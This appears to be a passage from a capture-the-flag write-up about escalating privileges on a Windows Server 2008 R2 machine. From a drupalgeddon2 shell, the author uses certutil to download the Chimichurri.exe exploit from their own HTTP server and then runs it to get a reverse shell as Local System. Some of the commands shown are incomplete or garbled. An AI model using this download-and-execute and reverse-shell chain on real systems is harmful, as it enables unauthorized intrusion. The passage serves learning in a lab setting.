There are no info’s to the KB but we know that the server is windows server 2008 R2, let’s test my old friend Chimichurri. COPY with certutil.

[*] Dropping back to direct OS commands
drupalgeddon2>> certutil -urlcache -f -split "" Chimichurri.exe
****  Online  ****
  000000  ...
CertUtil: -URLCache command completed successfully.
└──╼ #python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [29/Apr/2021 18:01:52] "GET /Chimichurri.exe HTTP/1.1" 200 - - - [29/Apr/2021 18:01:59] "GET /Chimichurri.exe HTTP/1.1" 200 -

now i can start a a reverse shell from there

drupalgeddon2>> Chimichurri.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
drupalgeddon2>> Chimichurri.txt 6666

and it’s working, didn’t expect that but ok we got root 😀
